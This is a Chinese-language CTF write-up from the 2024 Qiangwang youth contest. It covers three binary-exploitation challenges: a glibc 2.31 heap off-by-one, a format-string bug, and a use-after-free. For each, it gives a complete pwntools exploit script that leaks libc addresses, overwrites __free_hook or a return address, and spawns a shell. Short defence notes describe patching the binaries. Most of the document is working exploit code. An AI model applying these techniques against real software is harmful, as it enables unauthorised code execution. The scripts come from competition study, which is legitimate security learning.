2024强网青少年

线上

heap

2.31的of by one,add free,show free菜单函数

add和edit都有末尾置零,show直接被截断,没办法泄露出libc

这题的难点也就是泄露出libc

解题思路:

先free7个堆块,前6个进入tcachebin,第7个会进入unsortdbin,之后堆块切割,将一个大堆块分为小堆块,并且留一部分堆块在unsortdbin中,这样每个小堆块中都有libc地址,但会被\x00截断,修改小堆块的size,将申请的小堆块合并,并且可以修改在unsotrdbin中的prsize,size

这样可以show出libc地址

之后malloc会报错,提前布置好堆块打of by one attack攻击free_hook,获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

def add(size,content):
rl("Choose an option: ")
sl(str(1))
rl("Enter the size of your story (in hex, between 0x28 and 0xb0):")
sl(hex(size))
rl("characters): ")
sl(content)

def free(i):
rl("Choose an option: ")
sl(str(2))
rl(": ")
sl(str(i))
def show():
rl("Choose an option: ")
sl(str(4))

def edit(i,content):
rl("Choose an option: ")
sl(str(3))
rl(": ")
sl(str(i))
rl(": ")
sl(content)
for i in range(4):
add(0x48,b'a')
free(3)
free(2)
free(1)
free(0)
for i in range(10):#0-9
add(0xb0,b'a')
for i in range(7):#0-6
free(i)
free(7)

add(0x28,b'a')#10
add(0x28,b'a')
add(0x28,b'a')
edit(0,b'a'*(0x28)+p8(0x71))
free(1)
add(0x60,b'a')

edit(1,b'a'*0x61)

show()
libc_base=get_addr64()-2018145
li(hex(libc_base))
malloc_hook,free_hook=get_hook()
system,bin_sh=get_sb()
'''
edit(1,b'\x00'*(0x28)+p64(0x31)+b'\x00'*(0x28)+p64(0x31))

free(2)

#edit(1,b'/bin/sh\x00'+p64(0)*4+p64(0x31)+p64(free_hook))
'''
add(0x48,b'a')#3
add(0x48,b'a')
add(0x48,b'a')
add(0x48,b'a')

edit(3,b'\x00'*(0x48)+p8(0xa1))
free(4)
add(0x98,b'a')
free(6)
free(5)

edit(4,b'\x00'*0x48+p64(0x51)+p64(free_hook))
add(0x48,b'/bin/sh\x00')
add(0x48,p64(system))
#bug()

free(5)


inter()

线下awdp

smart_home

攻击:

无限次fmt,字节限制为0x10

非栈上打指针跳转,攻击rbp+8,改为one_gadet,3退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

rl("Enter your choice:")

payload=b'51%9$p%11$p'

s(payload)

rl(b'0x')
libc_base=int(p.recv(12),16)-147587
bug()
li(hex(libc_base))
#pause()
rl(b'0x')
stack=int(p.recv(12),16)-240-2
li(hex(stack+2))
one_gadget=libc_base+0xe3b01-2
li(hex(one_gadget+2))
li(hex(one_gadget>>16&0xffff))
pause()
rl("Enter your choice:")
payload=b'51%'+str(stack&0xffff).encode() +b'c%11$hn'
li(hex(len(payload)))
#bug()
s(payload)
rl("Enter your choice:")
pay3=b'51%'+str(one_gadget&0xffff).encode()+b'c%39$hn'
#bug()
s(pay3)
stack=stack+2
rl("Enter your choice:")
pay4=b'51%'+str(stack&0xffff).encode()+b'c%11$hn'
#bug()
s(pay4)
rl("Enter your choice:")
pay5=b'51%'+str(one_gadget>>16&0xffff-2).encode()+b'c%39$hn'
#bug()
s(pay5)

rl("Enter your choice:")
#bug()
sl(str(3))



inter()
防御:

找到fmt漏洞的汇编:

将call _printf改为call _puts:

youth_memory_album

攻击:

蜀道山mini_hook的弱化版,基本同样的打法,攻击tcachebin的指针区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

rl("Please input your name:")
sl(b'a')

def add(idx,content):
rl("Your choice: ")
sl(str(1))
rl("Album entry number: ")
sl(str(idx))
rl("Write your memory: ")
s(content)
def edit(idx,content):
rl("Your choice: ")
sl(str(2))
rl("Album entry number to edit: ")
sl(str(idx))
rl("Edit your memory: ")
sl(content)
def free(idx):
rl("Your choice: ")
sl(str(4))
rl("Album entry number to delete: ")
sl(str(idx))
def show(idx):
rl("Your choice: ")
sl(str(3))
rl("Album entry number to view: ")
sl(str(idx))

add(0,b'a')
add(1,b'a')
add(2,b'b')
add(3,b'b')

free(0)
free(1)
show(1)
a=p.recv(16)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x5b0
li(hex(heap_base))

edit(1,p64(heap_base+0x30))
add(4,b'a')
add(5,p64(0)*5+p64(0x7000000000000))

add(6,b'a')
add(7,b'a')

free(6)
free(7)
edit(7,p64(heap_base+0x10))
add(8,b'b')
add(9,b'b')
free(9)
show(9)
libc_base=get_addr64()-2018272
li(hex(libc_base))
malloc_hook,free_hook=get_hook()
system,bin_sh=get_sb()
edit(9,p64(0x30000))

free(3)
free(2)

edit(2,p64(free_hook))

add(10,b'/bin/sh\x00')
add(11,p64(system))

bug()
free(10)

inter()
防御:

free函数内存在uaf漏洞

在en_frame段上抄汇编即可:

使用r8当介质,将chunklist[index]置零,最后跳转到call _free的下一段汇编

同时将call _free改为call en_frame该段地址

成功防御: